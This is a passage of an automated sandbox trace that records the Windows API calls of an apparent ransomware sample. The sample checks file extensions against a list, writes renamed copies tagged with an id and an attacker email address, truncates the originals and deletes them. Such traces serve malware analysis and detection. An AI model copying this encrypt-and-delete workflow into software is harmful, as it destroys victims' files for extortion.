(lpString=".xls") returned 4 [0176.026] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString=".xlsx") returned 5 [0176.026] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0176.026] lstrlenW (lpString=".ppt") returned 4 [0176.026] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString=".zip") returned 4 [0176.026] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString=".rar") returned 4 [0176.026] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString=".bz2") returned 4 [0176.026] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString=".7z") returned 3 [0176.026] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString=".dbf") returned 4 [0176.026] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString=".1cd") returned 4 [0176.026] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0176.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0176.026] lstrlenW (lpString=".jpg") returned 4 [0176.026] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0176.027] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0176.027] lstrlenW (lpString="correct.avi") returned 11 [0176.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.027] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=180172) returned 1 [0176.027] CloseHandle (hObject=0x38c) returned 1 [0176.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0176.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0176.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0176.027] lstrlenW (lpString=".doc") returned 4 [0176.027] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0176.027] lstrlenW (lpString=".docx") returned 5 [0176.027] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0176.027] lstrlenW (lpString=".pdf") returned 4 [0176.027] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString=".xls") returned 4 [0176.028] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString=".xlsx") returned 5 [0176.028] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0176.028] lstrlenW (lpString=".ppt") returned 4 [0176.028] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0176.028] lstrlenW (lpString=".zip") returned 4 [0176.028] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString=".rar") returned 4 [0176.028] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString=".bz2") returned 4 [0176.028] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0176.028] lstrlenW (lpString=".7z") returned 3 [0176.028] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0176.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0176.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.127] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.261] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.263] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.263] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.263] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.264] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.265] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.266] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.266] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.267] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.268] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.268] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.269] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.270] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.270] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.271] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.271] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.272] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.272] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0176.274] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0176.276] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0177.189] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.190] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.200] GetLastError () returned 0x0 [0177.200] ReadFile (in: hFile=0x3f0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x12c8, lpOverlapped=0x0) returned 1 [0177.216] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x12d0, lpOverlapped=0x0) returned 1 [0177.217] ReadFile (in: hFile=0x3f0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.217] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0177.218] SetEndOfFile (hFile=0x3e8) returned 1 [0177.218] CloseHandle (hObject=0x3e8) returned 1 [0177.219] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.219] SetEndOfFile (hFile=0x3f0) returned 1 [0177.222] CloseHandle (hObject=0x3f0) returned 1 [0177.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.223] lstrlenW (lpString=".doc") returned 4 [0177.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString=".docx") returned 5 [0177.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.223] lstrlenW (lpString=".pdf") returned 4 [0177.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString=".xls") returned 4 [0177.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.223] lstrlenW (lpString=".xlsx") returned 5 [0177.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.223] lstrlenW (lpString=".ppt") returned 4 [0177.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.223] lstrlenW (lpString=".zip") returned 4 [0177.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.223] lstrlenW (lpString=".rar") returned 4 [0177.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString=".bz2") returned 4 [0177.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString=".7z") returned 3 [0177.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.223] lstrlenW (lpString=".dbf") returned 4 [0177.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".1cd") returned 4 [0177.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".jpg") returned 4 [0177.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".doc") returned 4 [0177.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString=".docx") returned 5 [0177.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.224] lstrlenW (lpString=".pdf") returned 4 [0177.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString=".xls") returned 4 [0177.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.224] lstrlenW (lpString=".xlsx") returned 5 [0177.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.224] lstrlenW (lpString=".ppt") returned 4 [0177.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".zip") returned 4 [0177.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.224] lstrlenW (lpString=".rar") returned 4 [0177.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString=".bz2") returned 4 [0177.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString=".7z") returned 3 [0177.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".dbf") returned 4 [0177.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.224] lstrlenW (lpString=".1cd") returned 4 [0177.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0177.225] lstrlenW (lpString=".jpg") returned 4 [0177.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.225] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.225] lstrlenW (lpString="BD06200_.WMF") returned 12 [0177.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.306] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=16676) returned 1 [0177.306] CloseHandle (hObject=0x3e8) returned 1 [0177.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0177.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0177.322] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.322] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0177.323] GetLastError () returned 0x0 [0177.323] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4124, lpOverlapped=0x0) returned 1 [0177.325] WriteFile (in: hFile=0x3ec, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4130, lpOverlapped=0x0) returned 1 [0177.336] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.336] WriteFile (in: hFile=0x3ec, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0177.337] SetEndOfFile (hFile=0x3ec) returned 1 [0177.337] CloseHandle (hObject=0x3ec) returned 1 [0177.338] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.338] SetEndOfFile (hFile=0x3e8) returned 1 [0177.343] CloseHandle (hObject=0x3e8) returned 1 [0177.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0177.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.344] lstrlenW (lpString=".doc") returned 4 [0177.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString=".docx") returned 5 [0177.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.345] lstrlenW (lpString=".pdf") returned 4 [0177.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString=".xls") returned 4 [0177.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.345] lstrlenW (lpString=".xlsx") returned 5 [0177.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.345] lstrlenW (lpString=".ppt") returned 4 [0177.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString=".zip") returned 4 [0177.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.345] lstrlenW (lpString=".rar") returned 4 [0177.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString=".bz2") returned 4 [0177.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString=".7z") returned 3 [0177.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString=".dbf") returned 4 [0177.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString=".1cd") returned 4 [0177.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString=".jpg") returned 4 [0177.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.345] lstrlenW (lpString=".doc") returned 4 [0177.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString=".docx") returned 5 [0177.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.346] lstrlenW (lpString=".pdf") returned 4 [0177.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString=".xls") returned 4 [0177.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.346] lstrlenW (lpString=".xlsx") returned 5 [0177.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.346] lstrlenW (lpString=".ppt") returned 4 [0177.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.346] lstrlenW (lpString=".zip") returned 4 [0177.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.346] lstrlenW (lpString=".rar") returned 4 [0177.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString=".bz2") returned 4 [0177.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString=".7z") returned 3 [0177.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.346] lstrlenW (lpString=".dbf") returned 4 [0177.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.346] lstrlenW (lpString=".1cd") returned 4 [0177.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0177.346] lstrlenW (lpString=".jpg") returned 4 [0177.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.347] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.347] lstrlenW (lpString="BD07761_.WMF") returned 12 [0177.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.580] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=26748) returned 1 [0177.592] CloseHandle (hObject=0x3f4) returned 1 [0177.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0177.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.597] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.597] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0177.598] GetLastError () returned 0x0 [0177.598] ReadFile (in: hFile=0x3f4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x687c, lpOverlapped=0x0) returned 1 [0177.600] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x6880, lpOverlapped=0x0) returned 1 [0177.602] ReadFile (in: hFile=0x3f4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.602] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0177.602] SetEndOfFile (hFile=0x3f8) returned 1 [0177.602] CloseHandle (hObject=0x3f8) returned 1 [0177.604] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.604] SetEndOfFile (hFile=0x3f4) returned 1 [0177.607] CloseHandle (hObject=0x3f4) returned 1 [0177.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft 